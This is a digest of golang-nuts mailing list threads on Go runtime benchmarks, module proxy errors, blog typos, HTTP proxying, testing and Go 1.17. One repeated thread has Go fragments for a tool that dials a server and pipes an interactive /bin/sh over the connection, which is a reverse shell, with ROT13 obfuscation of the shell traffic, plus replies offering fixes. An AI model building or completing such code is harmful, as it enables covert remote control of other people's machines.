[go-nuts] Re: How to capture the bytes of stdin

[Tamás Gulácsi]

You have to io.Copy(cmdStdin, os.Stdin) to use your program's stdin, and 
pipe it to the subprocess.

hyo...@gmail.com a következőt írta (2021. augusztus 18., szerda, 17:50:24 
UTC+2):

> The goal: I want to capture all the bytes of *cmd.Stdin* and process them 
> with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT
>
> The story: I'm coding a small tool which will be cross compiled for both 
> win/ linux, so I'm trying to make it as simple as possible. This tool 
> connects to the server from which I can execute commands on the client.
>
> Since I had to do the same thing for cmd.Stdout, I used this:
>
> Where OBFprocessStream function is based on this one: 
> https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .
>
> ...
>
> conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
>
> ..
>
> cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an 
> ***interactive*** 
>
> //***shell***, and not just a simple command   
>
> cmd.Stdin = conn
>
> cmdStdout, err := cmd.StdoutPipe() // works fine
>
> if err != nil {
>
> fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
>
> }
>
> cmd.Stderr = conn
>
> err = cmd.Start()
>
> if err != nil {
>
> fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
>
> }
>
> .
>
> err = OBFprocessStream(cmdStdout, conn) // works fine
>
> 
>
> So, I tried to replicate the same thing for cmd.Stdin:
>
> ...
>
> conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
>
> ..
>
> cmd := exec.Command(/bin/sh, "-i") 
>
> cmdStdin, err := cmd.StdinPipe() 
>
> if err != nil {
>
> fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
>
> }
>
> cmdStdout, err := cmd.StdoutPipe()
>
> if err != nil {
>
> fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
>
>
> }
>
> cmd.Stderr = conn
>
> err = cmd.Start()
>
> if err != nil {
>
> fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
>
> }
>
> .
>
> err = INOBFprocessStream(cmdStdin, conn)
>
> .
>
> err = OBFprocessStream(cmdStdout, conn)
>
> 
>
> But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do 
> to capture the bytes sEGIHOsegoihszrhoiò
>
> Can you please help me?
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/026e84bb-3230-494e-84f6-cff1a5ecf4a7n%40googlegroups.com.

[go-nuts] Re: Small number change will affect benchmark results

[tapi...@gmail.com]

The PR: https://github.com/golang/go/pull/47804

On Wednesday, August 18, 2021 at 11:35:05 PM UTC-4 tapi...@gmail.com wrote:

> More specifically, the last parameter (needzero) of mallocgc is not passed 
> down to c.nextFree, which causes the memclrNoHeapPointers function is 
> called twice in makeslicecopy if the slice size <= 32768.
>
> On Wednesday, August 18, 2021 at 11:06:53 PM UTC-4 tapi...@gmail.com 
> wrote:
>
>> Spent some time on investigating this problem. It is confirmed that, when 
>> N == 16384, the memclrNoHeapPointers function is called twice in the 
>> Insert2 function. That means the "make+copy` optimization introduced in Go 
>> 1.15 will perform worse than the normal route under such situation.
>>
>> On Wednesday, July 28, 2021 at 10:43:38 AM UTC-4 tapi...@gmail.com wrote:
>>
>>>
>>> The benchmark code: https://play.golang.org/p/IqVnVa5x9qp
>>>
>>> When N == 16384, the benchmark result:
>>>
>>> Benchmark_Insert-4  134622  8032 ns/op   32768 
>>> B/op   1 allocs/op
>>> Benchmark_Insert2-4 132049  8201 ns/op   32768 
>>> B/op   1 allocs/op
>>>
>>> When N == 16385, the benchmark result:
>>>
>>> Benchmark_Insert-4  118677  9374 ns/op   40960 
>>> B/op   1 allocs/op
>>> Benchmark_Insert2-4 136845  7744 ns/op   40960 
>>> B/op   1 allocs/op
>>>
>>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/cebecc7f-3828-474b-8dc4-cad564ca4031n%40googlegroups.com.

[go-nuts] Re: Small number change will affect benchmark results

[tapi...@gmail.com]

More specifically, the last parameter (needzero) of mallocgc is not passed 
down to c.nextFree, which causes the memclrNoHeapPointers function is 
called twice in makeslicecopy if the slice size <= 32768.

On Wednesday, August 18, 2021 at 11:06:53 PM UTC-4 tapi...@gmail.com wrote:

> Spent some time on investigating this problem. It is confirmed that, when 
> N == 16384, the memclrNoHeapPointers function is called twice in the 
> Insert2 function. That means the "make+copy` optimization introduced in Go 
> 1.15 will perform worse than the normal route under such situation.
>
> On Wednesday, July 28, 2021 at 10:43:38 AM UTC-4 tapi...@gmail.com wrote:
>
>>
>> The benchmark code: https://play.golang.org/p/IqVnVa5x9qp
>>
>> When N == 16384, the benchmark result:
>>
>> Benchmark_Insert-4  134622  8032 ns/op   32768 
>> B/op   1 allocs/op
>> Benchmark_Insert2-4 132049  8201 ns/op   32768 
>> B/op   1 allocs/op
>>
>> When N == 16385, the benchmark result:
>>
>> Benchmark_Insert-4  118677  9374 ns/op   40960 
>> B/op   1 allocs/op
>> Benchmark_Insert2-4 136845  7744 ns/op   40960 
>> B/op   1 allocs/op
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/8756b448-6718-4ee3-9f52-c83e2f606da8n%40googlegroups.com.

[go-nuts] Re: Small number change will affect benchmark results

[tapi...@gmail.com]

Spent some time on investigating this problem. It is confirmed that, when N 
== 16384, the memclrNoHeapPointers function is called twice in the Insert2 
function. That means the "make+copy` optimization introduced in Go 1.15 
will perform worse than the normal route under such situation.

On Wednesday, July 28, 2021 at 10:43:38 AM UTC-4 tapi...@gmail.com wrote:

>
> The benchmark code: https://play.golang.org/p/IqVnVa5x9qp
>
> When N == 16384, the benchmark result:
>
> Benchmark_Insert-4  134622  8032 ns/op   32768 B/op
>1 allocs/op
> Benchmark_Insert2-4 132049  8201 ns/op   32768 B/op
>1 allocs/op
>
> When N == 16385, the benchmark result:
>
> Benchmark_Insert-4  118677  9374 ns/op   40960 B/op
>1 allocs/op
> Benchmark_Insert2-4 136845  7744 ns/op   40960 B/op
>1 allocs/op
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/8e32dd06-4b3c-435a-a452-5a26dec0a474n%40googlegroups.com.

Re: [go-nuts] Leading dash invalid in test filename inside module

[Ben Hoyt]

Awesome, thanks. At a previous company, we used to take months/years to
upgrade to a new Go version, so it's nice that you guys are eating your own
dog food so quickly. :-)

For now, I've removed the leading-dash test file and released a new patch
version. When I reinstate it I may end up putting that file in a
subdirectory in any case, just because it's weird to have a file named
"-ftest" in the repo's root.

-Ben

On Thu, Aug 19, 2021 at 11:17 AM Jay Conrod  wrote:

> You're exactly right, the proxy is still in the process of migrating to Go
> 1.17. It should be done in the next day or two, at which point it should be
> able to fetch this version.
>
> In the mean time, you can work around it by setting GOPRIVATE=
> github.com/benhoyt/goawk , which
> tells the go command to fetch that module directly from vcs and not to
> contact GOSUMDB for it.
>
> On Wed, Aug 18, 2021 at 2:57 PM Ben Hoyt  wrote:
>
>> (I wasn't quite sure whether golang-nuts or golang-dev was the best place
>> for this -- sending to golang-nuts for now.)
>>
>> I just released a new version of GoAWK (v1.8.0) using Go version 1.17,
>> and then tested installing it using "go install". However, go install
>> complains with the following:
>>
>> $ go install github.com/benhoyt/goawk@latest
>> go: downloading github.com/benhoyt/goawk v1.8.0
>> go install: github.com/benhoyt/goawk@latest:
>> github.com/benhoyt/goawk@v1.8.0: verifying module:
>> github.com/benhoyt/goawk@v1.8.0: reading
>> https://sum.golang.org/lookup/github.com/benhoyt/goawk@v1.8.0: 410 Gone
>> server response: not found: create zip: -ftest: malformed file path
>> "-ftest": leading dash
>>
>> Sure enough, I had a file in the repo's top-level directory called
>> "-ftest" (the "-" is a regular ASCII hyphen or "dash"). This file was used
>> in tests, to test whether the program's command line handling distinguished
>> flags from file names correctly.
>>
>> It looks like this error is coming from Go's module code, in the
>> checkPath function:
>> https://cs.opensource.google/go/x/mod/+/refs/tags/v0.5.0:module/module.go;l=397
>>
>> However, the module docs on file naming constraints don't seem to mention
>> this constraint: https://golang.org/ref/mod#zip-path-size-constraints
>>
>> "File and directory names within a module may consist of Unicode letters,
>> ASCII digits, the ASCII space character (U+0020), and the ASCII punctuation
>> characters !#$%&()+,-.=@[]^_{}~. Note that package paths may not contain
>> all these characters. See module.CheckFilePath and module.CheckImportPath
>> for the differences."
>>
>> I checked the module.CheckFilePath and module.CheckImportPath doc
>> comments, and they don't seem to mention a leading dash being a problem,
>> either. The /ref/mod doc *does* say that for module paths, "The leading
>> path element ... must contain at least one dot and cannot start with a
>> dash." However, this is stated only for module paths, not for general file
>> paths.
>>
>> I noticed a related issue (https://github.com/golang/go/issues/45447)
>> and change (https://go-review.googlesource.com/c/mod/+/316629/) for
>> "embed" that looks like it would fix this issue -- the code now only does
>> this "leading dash" check for file paths, not import paths.
>>
>> However, the "leading dash" error is a server response, so I suspect the
>> code running on Google's servers is not running Go 1.17 and doesn't have
>> this fix.
>>
>> Will this just fix itself after Google compiles the server with Go 1.17?
>> Or is another fix required, even if it's just mentioning that constraint in
>> the docs?
>>
>> -Ben
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "golang-nuts" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to golang-nuts+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/golang-nuts/CAL9jXCFB0Ww427mx2pbB0MJf2c_3mTSw%2BQhwbRt%3D13ufF7Q-Nw%40mail.gmail.com
>> 
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/CAL9jXCHoo3LeGL7xxnwOX0bqpZBtvPv%2Br59d%2BGZ9%3DuT_KOAjTQ%40mail.gmail.com.

Re: [go-nuts] Leading dash invalid in test filename inside module

['Jay Conrod' via golang-nuts]

You're exactly right, the proxy is still in the process of migrating to Go
1.17. It should be done in the next day or two, at which point it should be
able to fetch this version.

In the mean time, you can work around it by setting GOPRIVATE=
github.com/benhoyt/goawk , which
tells the go command to fetch that module directly from vcs and not to
contact GOSUMDB for it.

On Wed, Aug 18, 2021 at 2:57 PM Ben Hoyt  wrote:

> (I wasn't quite sure whether golang-nuts or golang-dev was the best place
> for this -- sending to golang-nuts for now.)
>
> I just released a new version of GoAWK (v1.8.0) using Go version 1.17, and
> then tested installing it using "go install". However, go install complains
> with the following:
>
> $ go install github.com/benhoyt/goawk@latest
> go: downloading github.com/benhoyt/goawk v1.8.0
> go install: github.com/benhoyt/goawk@latest:
> github.com/benhoyt/goawk@v1.8.0: verifying module:
> github.com/benhoyt/goawk@v1.8.0: reading
> https://sum.golang.org/lookup/github.com/benhoyt/goawk@v1.8.0: 410 Gone
> server response: not found: create zip: -ftest: malformed file path
> "-ftest": leading dash
>
> Sure enough, I had a file in the repo's top-level directory called
> "-ftest" (the "-" is a regular ASCII hyphen or "dash"). This file was used
> in tests, to test whether the program's command line handling distinguished
> flags from file names correctly.
>
> It looks like this error is coming from Go's module code, in the checkPath
> function:
> https://cs.opensource.google/go/x/mod/+/refs/tags/v0.5.0:module/module.go;l=397
>
> However, the module docs on file naming constraints don't seem to mention
> this constraint: https://golang.org/ref/mod#zip-path-size-constraints
>
> "File and directory names within a module may consist of Unicode letters,
> ASCII digits, the ASCII space character (U+0020), and the ASCII punctuation
> characters !#$%&()+,-.=@[]^_{}~. Note that package paths may not contain
> all these characters. See module.CheckFilePath and module.CheckImportPath
> for the differences."
>
> I checked the module.CheckFilePath and module.CheckImportPath doc
> comments, and they don't seem to mention a leading dash being a problem,
> either. The /ref/mod doc *does* say that for module paths, "The leading
> path element ... must contain at least one dot and cannot start with a
> dash." However, this is stated only for module paths, not for general file
> paths.
>
> I noticed a related issue (https://github.com/golang/go/issues/45447) and
> change (https://go-review.googlesource.com/c/mod/+/316629/) for "embed"
> that looks like it would fix this issue -- the code now only does this
> "leading dash" check for file paths, not import paths.
>
> However, the "leading dash" error is a server response, so I suspect the
> code running on Google's servers is not running Go 1.17 and doesn't have
> this fix.
>
> Will this just fix itself after Google compiles the server with Go 1.17?
> Or is another fix required, even if it's just mentioning that constraint in
> the docs?
>
> -Ben
>
> --
> You received this message because you are subscribed to the Google Groups
> "golang-nuts" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to golang-nuts+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/golang-nuts/CAL9jXCFB0Ww427mx2pbB0MJf2c_3mTSw%2BQhwbRt%3D13ufF7Q-Nw%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/CAGCADbZio42hMnvb0knx6z2iZsKCydy-UZyo3zrqMLP5OnfJnQ%40mail.gmail.com.

[go-nuts] Leading dash invalid in test filename inside module

[Ben Hoyt]

(I wasn't quite sure whether golang-nuts or golang-dev was the best place
for this -- sending to golang-nuts for now.)

I just released a new version of GoAWK (v1.8.0) using Go version 1.17, and
then tested installing it using "go install". However, go install complains
with the following:

$ go install github.com/benhoyt/goawk@latest
go: downloading github.com/benhoyt/goawk v1.8.0
go install: github.com/benhoyt/goawk@latest: github.com/benhoyt/goawk@v1.8.0:
verifying module: github.com/benhoyt/goawk@v1.8.0: reading
https://sum.golang.org/lookup/github.com/benhoyt/goawk@v1.8.0: 410 Gone
server response: not found: create zip: -ftest: malformed file path
"-ftest": leading dash

Sure enough, I had a file in the repo's top-level directory called "-ftest"
(the "-" is a regular ASCII hyphen or "dash"). This file was used in tests,
to test whether the program's command line handling distinguished flags
from file names correctly.

It looks like this error is coming from Go's module code, in the checkPath
function:
https://cs.opensource.google/go/x/mod/+/refs/tags/v0.5.0:module/module.go;l=397

However, the module docs on file naming constraints don't seem to mention
this constraint: https://golang.org/ref/mod#zip-path-size-constraints

"File and directory names within a module may consist of Unicode letters,
ASCII digits, the ASCII space character (U+0020), and the ASCII punctuation
characters !#$%&()+,-.=@[]^_{}~. Note that package paths may not contain
all these characters. See module.CheckFilePath and module.CheckImportPath
for the differences."

I checked the module.CheckFilePath and module.CheckImportPath doc comments,
and they don't seem to mention a leading dash being a problem, either. The
/ref/mod doc *does* say that for module paths, "The leading path element
... must contain at least one dot and cannot start with a dash." However,
this is stated only for module paths, not for general file paths.

I noticed a related issue (https://github.com/golang/go/issues/45447) and
change (https://go-review.googlesource.com/c/mod/+/316629/) for "embed"
that looks like it would fix this issue -- the code now only does this
"leading dash" check for file paths, not import paths.

However, the "leading dash" error is a server response, so I suspect the
code running on Google's servers is not running Go 1.17 and doesn't have
this fix.

Will this just fix itself after Google compiles the server with Go 1.17? Or
is another fix required, even if it's just mentioning that constraint in
the docs?

-Ben

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/CAL9jXCFB0Ww427mx2pbB0MJf2c_3mTSw%2BQhwbRt%3D13ufF7Q-Nw%40mail.gmail.com.

Re: [go-nuts] Various questions about posts from The Go Blog

[Ian Lance Taylor]

On Wed, Aug 18, 2021 at 1:30 AM Kamil Ziemian  wrote:
>
> I guess it should say "any number type", but I'm not 100% sure. Am I right?
>
> Thank you for the answer. I'm not good at computer science, so I'm often 
> can't decide is this mistake or is there some subtlety that I'm missing.

Thanks for pointing it out.  I sent https://golang.org/cl/342992 to
fix the problem.


> Small mistake and typos are quite common in blogs and talks and I am always 
> quite unsettled by them (long story why). Unfortunately, they can be also in 
> the presented code, at least in talks that I saw. "Never trust yourself, 
> always run compiler" seems be the moral of the story.
>
> As a aside, today I found in "Why Generics?" 
> (https://blog.golang.org/why-generics) at the end of the section "Ordered 
> types" sentence "In practice this contract would probably go into the 
> standard library. and so really the Min function". Punctuation in natural 
> languages is beyond me, but I guess changing period to coma make it correct.

I sent https://golang.org/cl/343251 to fix this.  Thanks again.

Ian


> PS. I know that now Go has Type Parameters Proposal 
> (https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md),
>  but I need to wrap my head around generics, so I try to read as much as 
> possible, even about outdated things like contracts.
>
> Kamil
> wtorek, 17 sierpnia 2021 o 21:20:25 UTC+2 Ian Lance Taylor napisał(a):
>>
>> On Tue, Aug 17, 2021 at 9:13 AM Kamil Ziemian  wrote:
>> >
>> > I'm now rereading post "Constants" and in the last section "Numbers" there 
>> > is a text
>> >
>> > BEGINNING
>> > Therefore, although they have different implicit default types, written as 
>> > untyped constants they can be assigned to a variable of any integer type:
>> >
>> > var f float32 = 1
>> > var i int = 1.000
>> > var u uint32 = 1e3 - 99.0*10.0 - 9
>> > var c float64 = '\x01'
>> > var p uintptr = '\u0001'
>> > var r complex64 = 'b' - 'a'
>> > var b byte = 1.0 + 3i - 3.0i
>> >
>> > fmt.Println(f, i, u, c, p, r, b)
>> > END
>> >
>> > I guess it should say "any number type", but I'm not 100% sure. Am I right?
>>
>> I think you're right.
>>
>> Ian
>
> --
> You received this message because you are subscribed to the Google Groups 
> "golang-nuts" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to golang-nuts+unsubscr...@googlegroups.com.
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/golang-nuts/8bfe4d66-470f-42c0-b33d-35e16a89be33n%40googlegroups.com.

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/CAOyqgcWM961w7XvShsc5UAnv0Tmxp4tHaU-UbnX3XiEgGaBOXw%40mail.gmail.com.

[go-nuts] Re: how golang stores variables in the computer’s memory?

[jake...@gmail.com]

It will also help you look knowledgeable if you refer to the language as 
Go, never `golang`. The name of the language is just 'Go'. In my experience 
the term golang should only be used when you need to clarify for a search 
engine. 

I don't usually bother correct people on this issue, but given the context 
of your question it seemed appropriate. 

On Tuesday, August 17, 2021 at 2:39:30 AM UTC-4 Miraddo wrote:

> Hello, 
>
> Yesterday, I had an awesome interview, and I found I don't know anything 
> about  `Golang`  in deep, so I decided to learn more about the compiler and 
> memory and every part of  `Golang`  in deep. I guess I had a lot of 
> questions :)
>
> Do you have any reference to know, How `Golang` stores' variables in 
> memory ?
>
> How does `Golang` point a variable to the memory location, and how is 
> reference stored?
>
> And any suggestion it would be helpful for me, what should I do to learn 
> more deep concepts.
>
> Thank you,
> Milad
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/560bd28c-0e4b-429a-aa11-8f6109a407efn%40googlegroups.com.

[go-nuts] proxying plaintext requests over HTTP Connect

[Rudy Dai]

I have an HTTP Proxy configured that only accepts HTTP CONNECT requests to 
proxy requests to upstream servers, with some upstream servers using HTTPS 
and some using HTTP. However, the behavior in 
https://golang.org/src/net/http/transport.go around line 1638 makes it so 
that HTTP CONNECT tunnels are only used when the request URL uses the 
“https” scheme. My code currently sets the Proxy field on the 
http.Transport struct to send requests through my proxy server, and all 
works as expected for requests using the “https” scheme, but it’s not doing 
so for the requests using “http”.

Since the purpose of HTTP CONNECT is to create a TCP connection to the 
upstream server and then proxy bytes over the connection, it seems equally 
useful for both HTTP and HTTPS upstream servers, however I haven’t found a 
way to get this behavior using http.Transport. Is my only option to copy 
much of the implementation within http.Transport, or is there a way to 
signal that I’d always like to use HTTP CONNECT to proxy these requests? 
Supporting schemes like “http+connect” and “https+connect” seems like a 
fairly natural way to signal this without breaking the current interfaces.

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/b4263911-df8a-4395-8da4-b1f851207cd5n%40googlegroups.com.

Re: [go-nuts] Re: Why do I get multiple times the same data?

[hyogy hyogy]

Thanks!(: Resetting the buffer was the solution! May I ask another tip 
please?

Il giorno venerdì 30 luglio 2021 alle 19:03:41 UTC+2 Vadim Berezniker ha 
scritto:

> fub is declared outside the for loop and io.Copy(, ) will append to 
> the buffer. 
>
> On Thu, Jul 29, 2021 at 11:41 AM hyogy hyogy  wrote:
>
>> I am more and more convinced that *io.Copy(, )* is the problem
>>
>> Il giorno mercoledì 28 luglio 2021 alle 17:11:40 UTC+2 hyogy hyogy ha 
>> scritto:
>>
>>> I have recently added a ROT13 logic to a tool of mine.
>>> This tool connects to a server, from which I run commands on the client.
>>>
>>> Here is the code PRE-ROT13:
>>> https://play.golang.org/p/DAE4cLq3RSx
>>> Everything works like a charm.
>>>
>>> Here is the code POST-ROR13. The difference between them is underlined
>>> https://play.golang.org/p/DfFJSvuBx05
>>>
>>> Both functions handle the output of the commands.
>>> The ROT13 works fine, but I get the same output multiple time, which 
>>> before did not happen. Infact, if I revert the changes, everything works 
>>> perfectly.
>>> Example:
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>> *xnyv*
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>> *xnyv*
>>> *xnyv*
>>>
>>> *$ whoami*
>>> *$ xnyv*
>>> *xnyv*
>>> *xnyv*
>>> *xnyv*
>>>
>>> Why do I get this result? How can I fix it?
>>> May be fub's fault? It is like if the output get cached somehow, but I 
>>> may be wrong.
>>>
>> -- 
>>
> You received this message because you are subscribed to the Google Groups 
>> "golang-nuts" group.
>>
> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to golang-nuts...@googlegroups.com.
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/golang-nuts/865969bf-d6e4-49ca-9ed5-809efae2f25cn%40googlegroups.com
>>  
>> 
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/189af17d-93c7-4031-998f-cb19730e69fcn%40googlegroups.com.

[go-nuts] How to capture the bytes of stdin

[hyogy hyogy]

The goal: I want to capture all the bytes of *cmd.Stdin* and process them 
with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT

The story: I'm coding a small tool which will be cross compiled for both 
win/ linux, so I'm trying to make it as simple as possible. This tool 
connects to the server from which I can execute commands on the client.

Since I had to do the same thing for cmd.Stdout, I used this:

Where OBFprocessStream function is based on this one: 
https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .

...

conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

..

cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an 
***interactive*** 

//***shell***, and not just a simple command   

cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // works fine

if err != nil {

fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()

if err != nil {

fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)

}

.

err = OBFprocessStream(cmdStdout, conn) // works fine



So, I tried to replicate the same thing for cmd.Stdin:

...

conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

..

cmd := exec.Command(/bin/sh, "-i") 

cmdStdin, err := cmd.StdinPipe() 

if err != nil {

fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()

if err != nil {

fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)


}

cmd.Stderr = conn

err = cmd.Start()

if err != nil {

fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)

}

.

err = INOBFprocessStream(cmdStdin, conn)

.

err = OBFprocessStream(cmdStdout, conn)



But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do to 
capture the bytes sEGIHOsegoihszrhoiò

Can you please help me?

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/15b0c90c-08d7-4b50-86dc-7eecc7f0f18bn%40googlegroups.com.

[go-nuts] Re: New to Unit Testing - Testing HTTP requests and response codes

[Maxime Soulé]

Hi,

You can have a look at tdhttp [1] included in go-testdeep [2] module.

++

Max.

1. 
https://pkg.go.dev/github.com/maxatome/go-testdeep/helpers/tdhttp#hdr-TestAPI
2. https://go-testdeep.zetta.rocks/

Le mardi 17 août 2021 à 22:14:44 UTC+2, Beginner a écrit :

> Hey, so I am pretty new to Golang and Unit tests as a whole. Right now I 
> am trying to create some tests for this section of code. I want to test in 
> the case of an unexpected HTTP response but I don't know how or where to 
> begin. I am new to mocking and for my previous tests created mocks to test 
> the good case (with help from my coworker). Can anyone give me advice? What 
> resources to read that tackle HTTP requests unit testing, etc. I really 
> want to understand what's going on and don't want to depend on someone 24/7.
>
> ```
> case http.StatusCreated:
> //This part is tested 
> default:
> responseBody, err := ioutil.ReadAll(resp.Body)
> if err != nil {
> logger.Errorf("Unexpected HTTP response status %v, 
> unable to read response body", resp.StatusCode)
> } else {
> logger.Errorf("Unexpected HTTP response status %v, 
> response body: %s", resp.StatusCode, string(responseBody))
> }
>
> return "", ErrUnknownStatusCodeResponse
> }```
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/5a0f5a0a-8d1c-401d-b098-3c1eda881680n%40googlegroups.com.

[go-nuts] Re: Go 1.17 is released

[jfcg...@gmail.com]

Hi,

I benchmarked sorty  v1.0.18 on an old 
laptop with Core i5-4210M CPU & Manjaro Linux, between Go 1.16.7 and 1.17 
(o for optimization flags, in seconds):

*16**16o*   *17**17o*
Sorting uint32
sort.Slice|17.25|16.03|14.95|14.00
   sorty-1| 6.63| 6.18| 6.48| 6.09
   sorty-2| 3.45| 3.21| 3.39| 3.16
   sorty-3| 2.91| 2.66| 2.86| 2.63
   sorty-4| 2.54| 2.30| 2.51| 2.27
sortyLsw-1|15.12|14.39|13.80|13.01
sortyLsw-2| 7.87| 7.52| 7.21| 6.77
sortyLsw-3| 6.63| 6.15| 6.02| 5.30
sortyLsw-4| 6.01| 5.38| 5.27| 4.58

Sorting float32
sort.Slice|17.70|17.17|15.36|14.44
   sorty-1| 7.45| 7.00| 7.35| 6.84
   sorty-2| 3.91| 3.66| 3.84| 3.58
   sorty-3| 3.09| 2.86| 3.08| 2.80
   sorty-4| 2.75| 2.54| 2.77| 2.50
sortyLsw-1|15.82|15.22|14.58|13.53
sortyLsw-2| 8.28| 8.01| 7.64| 7.14
sortyLsw-3| 7.01| 6.49| 6.26| 5.59
sortyLsw-4| 6.18| 5.67| 5.45| 4.81

Switching to register-based calling convention seems to have paid off quite 
well :) Is there any other big performance improvement in this release, or 
is it all because of registers?

Thank you all for the release!

On Tuesday, August 17, 2021 at 1:08:11 AM UTC+3 Michael Knyszek wrote:

> Hello gophers,
>
> We just released Go 1.17
>
> To find out what has changed in Go 1.17, read the release notes:
> https://golang.org/doc/go1.17
>
> You can download binary and source distributions from our download page:
> https://golang.org/dl/
>
> If you have Go installed already, an easy way to try go1.17
> is by using the go command:
> $ go get golang.org/dl/go1.17
> $ go1.17 download
>
> To compile from source using a Git clone, update to the release with
> "git checkout go1.17" and build as usual.
>
> Thanks to everyone who contributed to the release!
>
> Cheers,
> Michael and Dmitri for the Go Team
>

-- 
You received this message because you are subscribed to the Google Groups 
"golang-nuts" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to golang-nuts+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/golang-nuts/23963fdc-2d70-4998-808e-931fc8424b48n%40googlegroups.com.

Re: [go-nuts] Re: Why do I get multiple times the same data?

[LetGo]

Resetting the buffer was the right solution! Thanks(:! May I ask another 
tip please?

Il giorno venerdì 30 luglio 2021 alle 19:03:41 UTC+2 Vadim Berezniker ha 
scritto:

> fub is declared outside the for loop and io.Copy(, ) will append to 
> the buffer. 
>
> On Thu, Jul 29, 2021 at 11:41 AM hyogy hyogy  wrote:
>
>> I am more and more convinced that *io.Copy(, )* is the problem
>>
>> Il giorno mercoledì 28 luglio 2021 alle 17:11:40 UTC+2 hyogy hyogy ha 
>> scritto:
>>
>>> I have recently added a ROT13 logic to a tool of mine.
>>> This tool connects to a server, from which I run commands on the client.
>>>
>>> Here is the code PRE-ROT13:
